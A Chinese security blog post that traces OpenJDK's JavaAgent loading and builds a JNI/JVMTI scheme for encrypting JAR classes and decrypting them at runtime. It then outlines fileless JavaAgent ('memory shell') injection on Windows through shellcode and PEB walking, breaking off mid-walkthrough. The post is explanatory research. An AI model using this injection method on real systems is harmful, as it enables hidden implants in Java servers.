利用JVMTI实现JAR包加密

渗透技巧 1年前 (2022) admin
723 0 0

深入JVMTI攻防对抗场景应用

前言

目前为止,有越来越多的商业化产品用Agent的方式展开业务功能,例如常见的灰盒漏洞分析IAST、运行防护RASP、内存检测APM等产品。但是Agent在很多时候都是混淆来干扰逆向工程师的反编译,很难保障一个代码是私密性。

本文是代码较多、篇幅较长,会仔细的从Java启动一个JVM的时候是如何解析命令参数来加载javaagent的,同时还会应用JVMTI来实操。当然,本文也适合在观看《Java内存技术攻击漫谈》等相关文章的Java安全研究员阅读。会从Windows x64场景下编写相关Shellcode并介绍其原理。


申明

本篇文章只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!


JavaAgent加载机制

Agent入口函数介绍

在Java SE5之后,我们定义JavaAgent的时候只需要通过Instrumentation接口给出两个入口函数即可。之后可通过-javaagent参数或者JVM Attach的方式加载Agent。

public static void agentmain(String agentArgs, Instrumentation inst);public static void premain(String agentArgs, Instrumentation inst);

而premain和agentmain其实都是agent的入口函数,只是permain在-javaagent参数启动的时候被调用,agentmain是通过JVM Attach的方式调用,所以两者本质上没有太大的区别。


JVM启动加载Agent参数解析

在JVM启动的时候,会读取-javaagent参数,来解析其中的agent路径。

在openjdk的runtime源码:https://github.com/openjdk/jdk/blob/master/src/hotspot/share/runtime/arguments.cpp

重点关注的几个参数如:-javaagent、-agentlib、-agentpath等。

if (match_option(option, "--illegal-access=", &tail)) {      char version[256];      JDK_Version::jdk(17).to_string(version, sizeof(version));      warning("Ignoring option %s; support was removed in %s", option->optionString, version);    // -agentlib and -agentpath    } else if (match_option(option, "-agentlib:", &tail) ||          (is_absolute_path = match_option(option, "-agentpath:", &tail))) {      if(tail != NULL) {        const char* pos = strchr(tail, '=');        char* name;        if (pos == NULL) {          name = os::strdup_check_oom(tail, mtArguments);        } else {          size_t len = pos - tail;          name = NEW_C_HEAP_ARRAY(char, len + 1, mtArguments);          memcpy(name, tail, len);          name[len] = '';        }
char *options = NULL; if(pos != NULL) { options = os::strdup_check_oom(pos + 1, mtArguments); }#if !INCLUDE_JVMTI if (valid_jdwp_agent(name, is_absolute_path)) { jio_fprintf(defaultStream::error_stream(), "Debugging agents are not supported in this VMn"); return JNI_ERR; }#endif // !INCLUDE_JVMTI add_init_agent(name, options, is_absolute_path); } // -javaagent } else if (match_option(option, "-javaagent:", &tail)) {#if !INCLUDE_JVMTI jio_fprintf(defaultStream::error_stream(), "Instrumentation agents are not supported in this VMn"); return JNI_ERR;#else if (tail != NULL) { size_t length = strlen(tail) + 1; char *options = NEW_C_HEAP_ARRAY(char, length, mtArguments); jio_snprintf(options, length, "%s", tail); add_instrument_agent("instrument", options, false); // java agents need module java.instrument if (!create_numbered_module_property("jdk.module.addmods", "java.instrument", addmods_count++)) { return JNI_ENOMEM; } }#endif // !INCLUDE_JVMTI

上述在解析参数的时候,会将-javaagent参数的值传递给addinstrumentagent函数,同时会创建一个AgentLibrary对象存放在AgentLibraryList中。

void Arguments::add_instrument_agent(const char* name, char* options, bool absolute_path) {  _agentList.add(new AgentLibrary(name, options, absolute_path, NULL, true));}

上述就是JVM启动获取参数的代码片段,再接着看看Java是如何启动一个JVM进程的。


JAVA创建JVM进程剖析

首先定位到jvm源码的main函数入口:https://github.com/openjdk/jdk/blob/1e1db5debd5e37650d7d7345544104a9050f418c/src/java.base/share/native/launcher/main.c

JNIEXPORT intmain(int argc, char **argv){           ...               return JLI_Launch(margc, margv,                   jargc, (const char**) jargv,                   0, NULL,                   VERSION_STRING,                   DOT_VERSION,                   (const_progname != NULL) ? const_progname : *margv,                   (const_launcher != NULL) ? const_launcher : *margv,                   jargc > 0,                   const_cpwildcard, const_javaw, 0);}

main方法中调用了JLILaunch,跟进代码查看JLILaunch都执行了什么操作

JNIEXPORT int JNICALLJLI_Launch(int argc, char ** argv,              /* main argc, argv */        int jargc, const char** jargv,          /* java args */        int appclassc, const char** appclassv,  /* app classpath */        const char* fullversion,                /* full version defined */        const char* dotversion,                 /* UNUSED dot version defined */        const char* pname,                      /* program name */        const char* lname,                      /* launcher name */        jboolean javaargs,                      /* JAVA_ARGS */        jboolean cpwildcard,                    /* classpath wildcard*/        jboolean javaw,                         /* windows-only javaw */        jint ergo                               /* unused */){           InvocationFunctions ifn;    char jvmpath[MAXPATHLEN];    char jrepath[MAXPATHLEN];    char jvmcfg[MAXPATHLEN];
... CreateExecutionEnvironment(&argc, &argv, jrepath, sizeof(jrepath), jvmpath, sizeof(jvmpath), jvmcfg, sizeof(jvmcfg));
ifn.CreateJavaVM = 0; ifn.GetDefaultJavaVMInitArgs = 0; //这里的jvmpath就是jvm.dll的路径 if (!LoadJavaVM(jvmpath, &ifn)) { return(6); } ...
return JVMInit(&ifn, threadStackSize, argc, argv, mode, what, ret);}

这里重点关注代码中LoadJavaVM和JVMInit函数,跟进LoadJavaVM函数,可以看到初始化了InvocationFunctions的变量ifn,这个ifn是之后会一直跟到后面调用的。

jbooleanLoadJavaVM(const char *jvmpath, InvocationFunctions *ifn){    HINSTANCE handle;
... /* Load the Java VM DLL */ if ((handle = LoadLibrary(jvmpath)) == 0) { JLI_ReportErrorMessage(DLL_ERROR4, (char *)jvmpath); return JNI_FALSE; }
/* Now get the function addresses */ ifn->CreateJavaVM = (void *)GetProcAddress(handle, "JNI_CreateJavaVM"); ifn->GetDefaultJavaVMInitArgs = (void *)GetProcAddress(handle, "JNI_GetDefaultJavaVMInitArgs"); if (ifn->CreateJavaVM == 0 || ifn->GetDefaultJavaVMInitArgs == 0) { JLI_ReportErrorMessage(JNI_ERROR1, (char *)jvmpath); return JNI_FALSE; }
return JNI_TRUE;}

其实这里的LoadJavaVM函数就是获取jvm.dll的导出函数JNICreateJavaVM和JNIGetDefaultJavaVMInitArgs的方法,方便之后调用。

回到JLI_Launch中,再来看看返回的JVMInit函数中都做了些什么

intJVMInit(InvocationFunctions* ifn, jlong threadStackSize,        int argc, char **argv,        int mode, char *what, int ret){    ShowSplashScreen();    return ContinueInNewThread(ifn, threadStackSize, argc, argv, mode, what, ret);}

继续跟进ContinueInNewThread函数发现调用了CallJavaMainInNewThread

intCallJavaMainInNewThread(jlong stack_size, void* args) {    int rslt = 0;                      ...               if (thread_handle) {        WaitForSingleObject(thread_handle, INFINITE);        GetExitCodeThread(thread_handle, &rslt);        CloseHandle(thread_handle);    } else {        rslt = JavaMain(args);    }
return rslt;}

最终进入JavaMain函数处理

intJavaMain(void* _args){    JavaMainArgs *args = (JavaMainArgs *)_args;               InvocationFunctions ifn = args->ifn;
JavaVM *vm = 0; JNIEnv *env = 0; ... if (!InitializeJVM(&vm, &env, &ifn)) { JLI_ReportErrorMessage(JVM_ERROR1); exit(1); }
...}

再来跟进InitializeJVM函数

static jbooleanInitializeJVM(JavaVM **pvm, JNIEnv **penv, InvocationFunctions *ifn){    JavaVMInitArgs args;    jint r;
memset(&args, 0, sizeof(args)); args.version = JNI_VERSION_1_2; args.nOptions = numOptions; args.options = options; args.ignoreUnrecognized = JNI_FALSE;
if (JLI_IsTraceLauncher()) { int i = 0; printf("JavaVM args:n "); printf("version 0x%08lx, ", (long)args.version); printf("ignoreUnrecognized is %s, ", args.ignoreUnrecognized ? "JNI_TRUE" : "JNI_FALSE"); printf("nOptions is %ldn", (long)args.nOptions); for (i = 0; i < numOptions; i++) printf(" option[%2d] = '%s'n", i, args.options[i].optionString); }
r = ifn->CreateJavaVM(pvm, (void **)penv, &args); JLI_MemFree(options); return r == JNI_OK;}

之前说到过,ifn是从jvm.dll导出的几个函数,这里的CreateJavaVM最终会转调到JNICreateJavaVM函数中,所以直接跟进到jni.cpp的JNICreateJavaVM函数中

_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_CreateJavaVM(JavaVM **vm, void **penv, void *args) {  jint result = JNI_ERR;  ...  result = JNI_CreateJavaVM_inner(vm, penv, args);  ...  return result;}
static jint JNI_CreateJavaVM_inner(JavaVM **vm, void **penv, void *args) {
jint result = JNI_ERR; result = Threads::create_vm((JavaVMInitArgs*) args, &can_try_again); if (result == JNI_OK) { JavaThread *thread = JavaThread::current(); assert(!thread->has_pending_exception(), "should have returned not OK"); *vm = (JavaVM *)(&main_vm); *(JNIEnv**)penv = thread->jni_environment(); if (JvmtiExport::should_post_thread_life()) { JvmtiExport::post_thread_start(thread); } post_thread_start_event(thread); if (ReplayCompiles) ciReplay::replay(thread); ThreadStateTransition::transition_from_vm(thread, _thread_in_native); MACOS_AARCH64_ONLY(thread->enable_wx(WXExec)); }else{ ... }
return result;}

可以看到调用了Threads::create_vm函数,而java启动程序在该函数中做了非常多的事情,包括初始化相关属性、加载系统库、创建JavaThread,其中最关键的就是解析了命令行参数,如下述关键代码片段:

static bool init_agents_at_startup()      { return !_agentList.is_empty(); }
jint Threads::create_vm(JavaVMInitArgs* args, bool* canTryAgain) { // Initialize system properties. Arguments::init_system_properties();
// Update/Initialize System properties after JDK version number is known Arguments::init_version_specific_system_properties();
// Parse arguments jint parse_result = Arguments::parse(args); if (parse_result != JNI_OK) return parse_result;
... // Launch -agentlib/-agentpath and converted -Xrun agents if (Arguments::init_agents_at_startup()) { create_vm_init_agents(); } ...}

至此,就和前面JVM启动Agent参数解析章节对应上了。

继续跟Threads::createvm函数,从中调用了lookupagentonload函数

static OnLoadEntry_t lookup_agent_on_load(AgentLibrary* agent) {  const char *on_load_symbols[] = AGENT_ONLOAD_SYMBOLS;  return lookup_on_load(agent, on_load_symbols, sizeof(on_load_symbols) / sizeof(char*));}

而onloadsymbols就是我们要找的Agent_OnLoad函数

#define AGENT_ONLOAD_SYMBOLS    {"_Agent_OnLoad@12", "Agent_OnLoad"}

所以会去调用指定链接库的Agent_OnLoad函数


扩展知识之javaagent启动场景

前面说到的lookuponload函数会去找当前库类的AgentOnLoad函数,如果找不到(javaagent是一个jar包,因此就没有AgentOnLoad入口函数),就去找agent->name的dll

这里的name是在JVM解析命令行参数的时候调用的addinstrumentagent函数带入的”instrument”值。

所以在Linux系统下是libinstrument.so,Windows下是instrument.dll

由于在/src/java.base/share/native/libjava/jniutil.h里已经指定了AgentOnLoad函数的宏定义

#define DEF_Agent_OnLoad Agent_OnLoad
#define DEF_Agent_OnAttach Agent_OnAttach
#define DEF_Agent_OnUnload Agent_OnUnload

直接定位到DEFAgentOnLoad函数的位置即可:https://github.com/openjdk/jdk/blob/master/src/java.instrument/share/native/libinstrument/InvocationAdapter.c

我这里截取函数的片段:

JNIEXPORT jint JNICALLDEF_Agent_OnLoad(JavaVM *vm, char *tail, void * reserved) {    JPLISInitializationError initerror  = JPLIS_INIT_ERROR_NONE;    jint                     result     = JNI_OK;    JPLISAgent *             agent      = NULL;
initerror = createNewJPLISAgent(vm, &agent); if ( initerror == JPLIS_INIT_ERROR_NONE ) { char * jarfile; char * options; jarAttribute* attributes; char * premainClass; char * bootClassPath;
if (parseArgumentTail(tail, &jarfile, &options) != 0) { fprintf(stderr, "-javaagent: memory allocation failure.n"); return JNI_ERR; }
attributes = readAttributes(jarfile);
premainClass = getAttribute(attributes, "Premain-Class");
agent->mJarfile = jarfile;
...
bootClassPath = getAttribute(attributes, "Boot-Class-Path"); if (bootClassPath != NULL) { appendBootClassPath(agent, jarfile, bootClassPath); }
convertCapabilityAttributes(attributes, agent);
initerror = recordCommandLineData(agent, premainClass, options);
if (options != NULL) free(options); freeAttributes(attributes); free(premainClass); } return result;}

函数中首先通过createNewJPLISAgent创建了一个JPLISAgent,这是Java Instrument中非常重要的一个结构体,其全称叫做(Java Programming Language Instrumentation Services Agent)。

之后函数还解析了JavaAgent中几个重要的参数,如:Premain-Class、Boot-Class-Path等。

进入createNewJPLISAgent函数中可以看到调用了initializeJPLISAgent

JPLISInitializationErrorinitializeJPLISAgent(   JPLISAgent *    agent,                        JavaVM *        vm,                        jvmtiEnv *      jvmtienv) {
... if ( jvmtierror == JVMTI_ERROR_NONE ) { jvmtiEventCallbacks callbacks; memset(&callbacks, 0, sizeof(callbacks)); callbacks.VMInit = &eventHandlerVMInit; //设置回调函数 jvmtierror = (*jvmtienv)->SetEventCallbacks( jvmtienv, &callbacks, sizeof(callbacks)); check_phase_ret_blob(jvmtierror, JPLIS_INIT_ERROR_FAILURE); jplis_assert(jvmtierror == JVMTI_ERROR_NONE); } ...}

回调函数eventHandlerVMInit中又调用了processJavaStart

jbooleanprocessJavaStart(   JPLISAgent *    agent,                    JNIEnv *        jnienv) {    jboolean    result;           ...    if ( result ) {        result = createInstrumentationImpl(jnienv, agent);        jplis_assert_msg(result, "instrumentation instance creation failed");    }
if ( result ) { result = startJavaAgent(agent, jnienv, agent->mAgentClassName, agent->mOptionsString, agent->mPremainCaller); jplis_assert_msg(result, "agent load/premain call failed"); } ... return result;}

processJavaStart函数中有两个比较重要的函数调用,分别是CreateInstrumentationImpl和startJavaAgent

先来看看CreateInstrumentationImpl函数的内容

#define JPLIS_INSTRUMENTIMPL_CLASSNAME  "sun/instrument/InstrumentationImpl"#define JPLIS_INSTRUMENTIMPL_PREMAININVOKER_METHODNAME  "loadClassAndCallPremain"#define JPLIS_INSTRUMENTIMPL_PREMAININVOKER_METHODSIGNATURE "(Ljava/lang/String;Ljava/lang/String;)V"
jbooleancreateInstrumentationImpl( JNIEnv * jnienv, JPLISAgent * agent) { ... implClass = (*jnienv)->FindClass( jnienv, JPLIS_INSTRUMENTIMPL_CLASSNAME); premainCallerMethodID = (*jnienv)->GetMethodID( jnienv, implClass, JPLIS_INSTRUMENTIMPL_PREMAININVOKER_METHODNAME, JPLIS_INSTRUMENTIMPL_PREMAININVOKER_METHODSIGNATURE); ... if ( !errorOutstanding ) { agent->mInstrumentationImpl = resultImpl; agent->mPremainCaller = premainCallerMethodID; agent->mAgentmainCaller = agentmainCallerMethodID; agent->mTransform = transformMethodID; }
return !errorOutstanding;}

最后将sun/instrument/InstrumentationImpl类的loadClassAndCallPremain给了agent->mPremainCaller

之后在startJavaAgent函数中传递给了agentMainMethod参数,并在invokeJavaAgentMainMethod函数中调用了对应的sun/instrument/InstrumentationImpl类的loadClassAndCallPremain

private void loadClassAndCallPremain(String classname,String optionsString) throws Throwable {           loadClassAndStartAgent( classname, "premain", optionsString );}

到此,一个JavaAgent就是如此加载进了JVM中。而在《Java内存攻击技术漫谈》中提出,通过自己组装JPLISAgent对象,来传给InstrumentationImpl的构造器。

关于如何组装JPLISAgent推荐还是看《论如何优雅的注入JavaAgent内存马》一文(Reference[5]),文中提出了通过获取kernel32.dll的GetProcAddress函数来寻找jvm.dll中的JNI_GetCreatedJavaVMs函数来获取JVMTIEnv指针。


场景应用

利用JVMTI实现JAR包的运行时解密

JVMTI介绍

JVMTI(Java Virtual Machine Tool Interface)即指 Java 虚拟机工具接口,它是一套由虚拟机直接提供的 native 接口。通过这些接口,可以时刻获取JVM等运行信息和状态,如加载类的信息和GC等。JVMTI是位于JPDA(Java Platform Debugger Architecture)的最底层,而JPDA同时还包括JDWP(Java调试通信协议)、JDI(Java调试接口)。


JNI编写加密函数

正如我前言中介绍,本章节会实现一个Jar包的加密和运行时通过JVMTI动态解密的过程

我这里使用AES来加密目标Jar包

package org.jarEncoder;
import java.io.File;
public class ByteCodeEncryptor { static { String realPath = System.getProperty("user.dir") + File.separator +"JarEncoder.so" ; System.load(realPath); } public native static byte[] encrypt(byte[] text); }

老样子,定义一个JNI函数,用来加密

/* DO NOT EDIT THIS FILE - it is machine generated */#include /* Header for class org_jarEncoder_ByteCodeEncryptor */
#ifndef _Included_org_jarEncoder_ByteCodeEncryptor#define _Included_org_jarEncoder_ByteCodeEncryptor#ifdef __cplusplusextern "C" {#endif/* * Class: org_jarEncoder_ByteCodeEncryptor * Method: encrypt * Signature: ([B)[B */JNIEXPORT jbyteArray JNICALL Java_org_jarEncoder_ByteCodeEncryptor_encrypt (JNIEnv *, jclass, jbyteArray);
#ifdef __cplusplus}const int compare_length = 8;const char* package_prefix= "javaTest";#endif#endif

生成JNI对应的函数头,并设置之后要加密/解密的包名前缀和匹配的字长

#include #include #include #include #include "aes/aes.h"#include "org_jarEncoder_ByteCodeEncryptor.h" #define MAX_LEN (2*1024*1024)#define ENCRYPT 0#define DECRYPT 1#define AES_KEY_SIZE 256#define READ_LEN 10
//AES_IVstatic unsigned char AES_IV[16] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };//AES_KEYstatic unsigned char AES_KEY[32] = { 0x60, 0x3d, 0xeb, 0x10, 0x15, 0xca, 0x71, 0xbe, 0x2b, 0x73, 0xae, 0xf0, 0x85, 0x7d, 0x77, 0x81, 0x1f, 0x35, 0x2c, 0x07, 0x3b, 0x61, 0x08, 0xd7, 0x2d, 0x98, 0x10, 0xa3, 0x09, 0x14, 0xdf, 0xf4 }; JNIEXPORT jbyteArray JNICALL Java_org_jarEncoder_ByteCodeEncryptor_encrypt(JNIEnv * env, jclass cla, jbyteArray text){ //check input data unsigned int len = (unsigned int) (env->GetArrayLength(text)); if (len <= 0 || len >= MAX_LEN) { return NULL; }
char *data = (char*) env->GetByteArrayElements(text, NULL); if (!data) { return NULL; }
//计算填充长度,当为加密方式且长度不为16的整数倍时,则填充,与3DES填充类似(DESede/CBC/PKCS5Padding) unsigned int mode = ENCRYPT; unsigned int rest_len = len % AES_BLOCK_SIZE; unsigned int padding_len = ( (ENCRYPT == mode) ? (AES_BLOCK_SIZE - rest_len) : 0); unsigned int src_len = len + padding_len;
//设置输入 unsigned char *input = (unsigned char *) malloc(src_len); memset(input, 0, src_len); memcpy(input, data, len); if (padding_len > 0) { memset(input + len, (unsigned char) padding_len, padding_len); } //data不再使用 env->ReleaseByteArrayElements(text, (jbyte *)data, 0);
//设置输出Buffer unsigned char * buff = (unsigned char*) malloc(src_len); if (!buff) { free(input); return NULL; } memset(buff, 0, src_len);
//set key & iv unsigned int key_schedule[AES_BLOCK_SIZE * 4] = { 0 }; //>=53(这里取64) aes_key_setup(AES_KEY, key_schedule, AES_KEY_SIZE);
//执行加解密计算(CBC mode) if (mode == ENCRYPT) { aes_encrypt_cbc(input, src_len, buff, key_schedule, AES_KEY_SIZE, AES_IV); } else { aes_decrypt_cbc(input, src_len, buff, key_schedule, AES_KEY_SIZE, AES_IV); }
//解密时计算填充长度 if (ENCRYPT != mode) { unsigned char * ptr = buff; ptr += (src_len - 1); padding_len = (unsigned int) *ptr; if (padding_len > 0 && padding_len <= AES_BLOCK_SIZE) { src_len -= padding_len; } ptr = NULL; }
//设置返回变量 jbyteArray bytes = env->NewByteArray(src_len); env->SetByteArrayRegion(bytes, 0, src_len, (jbyte*) buff);
//内存释放 free(input); free(buff);
return bytes;}

上述代码就是加密函数的关键实现,先用GetArrayLength获取Java中数组的长度,再通过GetByteArrayElements读取,该函数会返回一个jbyte指针,这里我用char*强转,方便后续内存复制。

加密完成后,通过SetByteArrayRegion函数再将返回值设置到jbyteArray对象的变量中并返回。

使用g++进行编译:

JAVA_HOME=”/usr/lib/jvm/java-8-openjdk-amd64/”
g++ -fPIC -shared -g -o JarEncoder.so -I$JAVA_HOME/include  -I$JAVA_HOME/include/linux/ JarEncoder.cpp

有了JNI的加密函数,就可以通过编写Java代码来调用JNI函数进行加密了

package org.jarEncoder;
import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.util.Enumeration;import java.util.jar.JarEntry;import java.util.jar.JarFile;import java.util.jar.JarOutputStream; // 加密jar代码public class JarEncryptor { public static void encrypt(String fileName, String dstName) { try { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; File srcFile = new File(fileName); File dstFile = new File(dstName); FileOutputStream dstFos = new FileOutputStream(dstFile); JarOutputStream dstJar = new JarOutputStream(dstFos); JarFile srcJar = new JarFile(srcFile); for (Enumeration<JarEntry> enumeration = srcJar.entries(); enumeration.hasMoreElements(); ) { JarEntry entry = enumeration.nextElement(); InputStream is = srcJar.getInputStream(entry); int len; while ((len = is.read(buf, 0, buf.length)) != -1) { bos.write(buf, 0, len); } byte[] bytes = bos.toByteArray(); String name = entry.getName(); if (name.startsWith("javaTest") && name.endsWith(".class")) { System.out.println("Encoder Class Name:"+name); try { System.out.println("bytesLen:"+bytes.length); bytes = ByteCodeEncryptor.encrypt(bytes); System.out.println("After bytesLen:"+bytes.length); } catch (Exception e) { e.printStackTrace(); } } JarEntry ne = new JarEntry(name); dstJar.putNextEntry(ne); dstJar.write(bytes); bos.reset(); } srcJar.close(); dstJar.close(); dstFos.close(); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { if (args == null || args.length == 0) { System.out.println("please input parameter"); return; } if (args[0].endsWith(".jar")) { JarEncryptor.encrypt(args[0], args[0].substring(0, args[0].lastIndexOf(".")) + "_encrypted.jar"); } else { System.out.println("Please input your Jar file."); } }}

加密代码中判断了name的包是否”javaTest”开头的字符串,编译运行

java org.jarEncoder.JarEncryptor Bird.jar

其中Bird.jar包是我要加密的内容,原始内容如下:

package javaTest;
public class Bird { public void sayHello() { System.out.println("hello!"); } public static void main(String[] args) { Bird bird = new Bird(); bird.sayHello(); } }

加密后,会在当前目录下生成一个Bird_encrypted.jar的文件

利用JVMTI实现JAR包加密


可以看到Jar包的javaTest/Bird.class类以及被加密完成


使用JVMTI事件的回调函数解密

现在已经加密完成了,可是由于类的不正确,导致无法加载进jvm中,这时候就需要通过之前介绍的JVMTI来动态修改类解密了。

利用JVMTI实现JAR包加密


之前介绍JVMTI的时候,说到agentpath这个参数最终会调用动态链接库中的Agent_OnLoad函数,在函数中,可以通过jvmtiEventCallbacks设置回调函数,先来看看这个jvmtiEventCallbacks的结构体

利用JVMTI实现JAR包加密


其中54的功能就算针对Class文件装载时的Hook,因此只需要设置一个CallBack给这个成员变量即可实现JVM类加载的hook方式。

jvmtiEventCallbacks callbacks;(void)memset(&callbacks, 0, sizeof(callbacks));
callbacks.ClassFileLoadHook = &ClassDecryptHook;error = jvmti->SetEventCallbacks(&callbacks, sizeof(callbacks));

再来看看设置的回调函数

void JNICALL ClassDecryptHook(    jvmtiEnv *jvmti_env,    JNIEnv* jni_env,    jclass class_being_redefined,    jobject loader,    const char* name,    jobject protection_domain,    jint class_data_len,    const unsigned char* class_data,    jint* new_class_data_len,    unsigned char** new_class_data){    unsigned char* _data = (unsigned char*) malloc(class_data_len);           if (!_data) {                      return;           }     if (name && strncmp(name, package_prefix, compare_length) == 0)    {        for (int i = 0; i < class_data_len; i++)        {            _data[i] = class_data[i];        }                      int new_data_len = 0;        unsigned char* _result = decode((char*)_data,class_data_len,&new_data_len);                      *new_class_data_len = new_data_len;                      jvmti_env->Allocate(new_data_len, new_class_data);                      *new_class_data = _result;    }    else {        for (int i = 0; i < class_data_len; i++)        {            _data[i] = class_data[i];        }                      *new_class_data_len = class_data_len;                      jvmti_env->Allocate(class_data_len, new_class_data);                      *new_class_data = _data;    }}

回调函数是有参数和返回类型要求,classdata是获取的类字节码,经过解密后给newclassdata,之后在jvm中就是newclass_data的字节码文件,以此来达到运行时动态解密。

利用JVMTI实现JAR包加密


完整代码会上传到Github:https://github.com/sf197/jvmtiEncoder


无文件JavaAgent注入技术研究

本章节主要是针对冰蝎作者rebeyond提出的Windows场景下ShellCode注入来达到无文件Agent实现,而相关Linux的实现可以看游望之的《Linux下内存马进阶植入技术》和Xiaopan233的《Linux下无文件Java agent探究》(Reference[6]和Reference[7])

上述来两篇文章很清楚的介绍了是如何利用Linux下的/proc/self/maps和/proc/self/mem来改写内存,植入Shellcode到Jvm内存的Native代码中。并在其中调用JNI_GetCreatedJavaVMs()函数来获取JavaVM*对象。随后再将原来的Native函数复原。

之后就是通过JavaVM*对象来调用其内的GetEnv函数获取jvmtiEnv指针,再对其进行jvmti宏转换并调用RedefineClasses函数,就可以重新修改JVM中的类了。

Windows场景初探

游望之和Xiaopan233两位师傅已经非常详细的介绍了Linux场景下的利用步骤和原理了,这里就不再过多的复述,主要还是看看Windows场景下的利用该如何实现。

rebeyond师傅提出的方案是通过sun.tools.attach.WindowsVirtualMachine这个类来注入Shellcode直接调用LoadLibraryA函数加载jvm.dll,同时获取JNI_GetCreatedJavaVMs函数的地址并调用。

         具体步骤如下:

1.获取Kernel32的基址
2.进一步在kernel32的导出表中获取GetProcAddress函数地址,并调用它获取LoadLibraryA函数的地址
3.继续用LoadLibraryA函数获取jvm.dll的基地址
4.再调用GetProcAddress函数获取JNI_GetCreatedJavaVMs的地址
5.最后调用调用JNI_GetCreatedJavaVMs得到JavaVM指针


通过PEB方式获取Kernel32基址

这里我就用x64环境来做复现,x86的场景下具体方式也大同小异。

这里我先将rebeyond文章中给出的汇编代码用内联ASM的方式编译出来,拖到IDA中分析

利用JVMTI实现JAR包加密


在x64的环境下,可以通过程序的GS:[60h]来获取PEB指针,GS:[30h]获取TEB指针

这里我深入讲解一下获取kernel32基址的汇编代码

在Windows x64系统下,GS全局段寄存器是指向TEB。所以直接打开Windbg,查看TEB结构:

0:020> dt _TEBntdll!_TEB   +0x000 NtTib            : _NT_TIB   +0x038 EnvironmentPointer : Ptr64 Void   +0x040 ClientId         : _CLIENT_ID   +0x050 ActiveRpcHandle  : Ptr64 Void   +0x058 ThreadLocalStoragePointer : Ptr64 Void   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB

可以看到在TEB结构的0x60偏移地址上存放着PEB指针

0:020> dt _PEBntdll!_PEB   +0x000 InheritedAddressSpace : UChar   +0x001 ReadImageFileExecOptions : UChar   +0x002 BeingDebugged    : UChar   +0x003 BitField         : UChar   +0x003 ImageUsesLargePages : Pos 0, 1 Bit   +0x003 IsProtectedProcess : Pos 1, 1 Bit   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit   +0x003 IsPackagedProcess : Pos 4, 1 Bit   +0x003 IsAppContainer   : Pos 5, 1 Bit   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit   +0x004 Padding0         : [4] UChar   +0x008 Mutant           : Ptr64 Void   +0x010 ImageBaseAddress : Ptr64 Void   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA

跟进PEB结构查看,找到在0x18偏移地址上存放着Ldr链表,这个链表中存放的是PEBLDR_DATA结构体

0:020> dt _PEB_LDR_DATAntdll!_PEB_LDR_DATA   +0x000 Length           : Uint4B   +0x004 Initialized      : UChar   +0x008 SsHandle         : Ptr64 Void   +0x010 InLoadOrderModuleList : _LIST_ENTRY   +0x020 InMemoryOrderModuleList : _LIST_ENTRY   +0x030 InInitializationOrderModuleList : _LIST_ENTRY   +0x040 EntryInProgress  : Ptr64 Void   +0x048 ShutdownInProgress : UChar   +0x050 ShutdownThreadId : Ptr64 Void

里面比较重要的三个成员:

InLoadOrderModuleList:模块加载顺序

InMemoryOrderModuleList:模块在内存中的顺序

InInitializationOrderModuleList:模块初始化装载的顺序

接着继续看LISTENTRY结构体

typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;   struct _LIST_ENTRY *Blink;} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

在微软官方说到PEBLDR_DATA中该成员变量的时候,是如下描述:

The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDRDATATABLE_ENTRY structure. For more information, see Remarks.


接着继续来看描述中提到的这个LDRDATATABLE_ENTRY结构

0:020> dt _LDR_DATA_TABLE_ENTRYntdll!_LDR_DATA_TABLE_ENTRY   +0x000 InLoadOrderLinks : _LIST_ENTRY   +0x010 InMemoryOrderLinks : _LIST_ENTRY   +0x020 InInitializationOrderLinks : _LIST_ENTRY   +0x030 DllBase          : Ptr64 Void   +0x038 EntryPoint       : Ptr64 Void   +0x040 SizeOfImage      : Uint4B   +0x048 FullDllName      : _UNICODE_STRING   +0x058 BaseDllName      : _UNICODE_STRING

而结构体中的FullDllName和BaseDllName就存放着这个dll的名称和路径

接下来我就用Windbg手动跟踪一下,方便读者更直观的了解这个过程

首先获取peb的地址,这里用!peb命令获取到地址

0:020> !pebPEB at 0000009c2c029000

有了地址后,就可以用结构体来解析该地址

0:020> dt _PEB 0000009c2c029000ntdll!_PEB   +0x000 InheritedAddressSpace : 0 ''   +0x001 ReadImageFileExecOptions : 0 ''   +0x002 BeingDebugged    : 0x1 ''   +0x003 BitField         : 0x34 '4'   +0x003 ImageUsesLargePages : 0y0   +0x003 IsProtectedProcess : 0y0   +0x003 IsImageDynamicallyRelocated : 0y1   +0x003 SkipPatchingUser32Forwarders : 0y0   +0x003 IsPackagedProcess : 0y1   +0x003 IsAppContainer   : 0y1   +0x003 IsProtectedProcessLight : 0y0   +0x003 IsLongPathAwareProcess : 0y0   +0x004 Padding0         : [4]  ""   +0x008 Mutant           : 0xffffffff`ffffffff Void   +0x010 ImageBaseAddress : 0x00007ff7`9f8b0000 Void   +0x018 Ldr              : 0x00007ffb`385a53c0 _PEB_LDR_DATA

接着跟进Ldr地址

0:020> dt 0x00007ffb`385a53c0 _PEB_LDR_DATAntdll!_PEB_LDR_DATA   +0x000 Length           : 0x58   +0x004 Initialized      : 0x1 ''   +0x008 SsHandle         : (null) 
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000267`56405200 - 0x00000267`64c02180 ] +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000267`56405210 - 0x00000267`64c02190 ] +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x00000267`56405090 - 0x00000267`64c021a0 ] +0x040 EntryInProgress : (null)
+0x048 ShutdownInProgress : 0 '' +0x050 ShutdownThreadId : (null)

这里我继续跟进InInitializationOrderModuleList的地址

